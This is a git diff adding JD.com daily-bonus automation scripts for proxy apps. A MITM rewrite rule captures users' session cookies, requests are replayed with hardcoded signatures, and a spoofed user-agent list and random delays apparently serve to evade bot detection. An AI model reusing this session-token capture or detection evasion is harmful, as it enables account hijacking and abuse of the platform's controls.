"body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total, + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; \ No newline at end of file diff --git a/JD_extra_cookie.js b/JD_extra_cookie.js new file mode 100644 index 0000000..228dfb7 --- /dev/null +++ b/JD_extra_cookie.js @@ -0,0 +1,119 @@ +/* +感谢github@dompling的PR + +Author: 2Ya + +Github: https://github.com/dompling + +=================== +特别说明: +1.获取多个京东cookie的脚本,不和NobyDa的京东cookie冲突。注:如与NobyDa的京东cookie重复,建议在BoxJs处删除重复的cookie +=================== +=================== +使用方式:在代理软件配置好下方配置后,复制 https://home.m.jd.com/myJd/newhome.action 到浏览器打开 ,在个人中心自动获取 cookie, +若弹出成功则正常使用。否则继续再此页面继续刷新一下试试。 + +注:建议通过脚本去获取cookie,若要在BoxJs处手动修改,请按照JSON格式修改(注:可使用此JSON校验 https://www.bejson.com/json/format) +示例:[{"userName":"jd_xxx","cookie":"pt_key=AAJ;pt_pin=jd_xxx;"},{"userName":"jd_66","cookie":"pt_key=AAJ;pt_pin=jd_66;"}] +=================== +new Env('获取多账号京东Cookie');//此处忽略即可,为自动生成iOS端软件配置文件所需 +=================== +[MITM] +hostname = me-api.jd.com + +===================Quantumult X===================== +[rewrite_local] +# 获取多账号京东Cookie +https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion url script-request-header JD_extra_cookie.js + +===================Loon=================== +[Script] +http-request https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion script-path=JD_extra_cookie.js, tag=获取多账号京东Cookie + +===================Surge=================== +[Script] +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion,requires-body=1,max-size=0,script-path=JD_extra_cookie.js,script-update-interval=0 + */ + +const APIKey = "CookiesJD"; +$ = new API(APIKey, true); +const CacheKey = `#${APIKey}`; +if ($request) GetCookie(); + +function getCache() { + var cache = $.read(CacheKey) || "[]"; + $.log(cache); + return JSON.parse(cache); +} + +function GetCookie() { + try { + if ($request.headers && $request.url.indexOf("GetJDUserInfoUnion") > -1) { + var CV = $request.headers["Cookie"] || $request.headers["cookie"]; + if (CV.match(/(pt_key=.+?pt_pin=|pt_pin=.+?pt_key=)/)) { + var CookieValue = CV.match(/pt_key=.+?;/) + CV.match(/pt_pin=.+?;/); + var UserName = CookieValue.match(/pt_pin=([^; ]+)(?=;?)/)[1]; + var DecodeName = decodeURIComponent(UserName); + var CookiesData = getCache(); + var updateCookiesData = [...CookiesData]; + var updateIndex; + var CookieName = "【账号】"; + var updateCodkie = CookiesData.find((item, index) => { + var ck = item.cookie; + var Account = ck + ? ck.match(/pt_pin=.+?;/) + ? ck.match(/pt_pin=([^; ]+)(?=;?)/)[1] + : null + : null; + const verify = UserName === Account; + if (verify) { + updateIndex = index; + } + return verify; + }); + var tipPrefix = ""; + if (updateCodkie) { + updateCookiesData[updateIndex].cookie = CookieValue; + CookieName = `【账号${updateIndex + 1}】`; + tipPrefix = "更新京东"; + } else { + updateCookiesData.push({ + userName: DecodeName, + cookie: CookieValue, + }); + CookieName = "【账号" + updateCookiesData.length + "】"; + tipPrefix = "首次写入京东"; + } + const cacheValue = JSON.stringify(updateCookiesData, null, "\t"); + $.write(cacheValue, CacheKey); + $.notify( + "用户名: " + DecodeName, + "", + tipPrefix + CookieName + "Cookie成功 🎉" + ); + } else { + $.notify("写入京东Cookie失败", "", "请查看脚本内说明, 登录网页获取 ‼️"); + } + $.done(); + return; + } else { + $.notify("写入京东Cookie失败", "", "请检查匹配URL或配置内脚本类型 ‼️"); + } + } catch (eor) { + $.write("", CacheKey); + $.notify("写入京东Cookie失败", "", "已尝试清空历史Cookie, 请重试 ⚠️"); + console.log( + `\n写入京东Cookie出现错误 ‼️\n${JSON.stringify( + eor + )}\n\n${eor}\n\n${JSON.stringify($request.headers)}\n` + ); + } + $.done(); +} + +// prettier-ignore +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +// prettier-ignore +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +// prettier-ignore +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} diff --git a/JS_USER_AGENTS.js b/JS_USER_AGENTS.js new file mode 100644 index 0000000..e4da11d --- /dev/null +++ b/JS_USER_AGENTS.js @@ -0,0 +1,92 @@ +const USER_AGENTS = [ + 'jdltapp;iPad;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 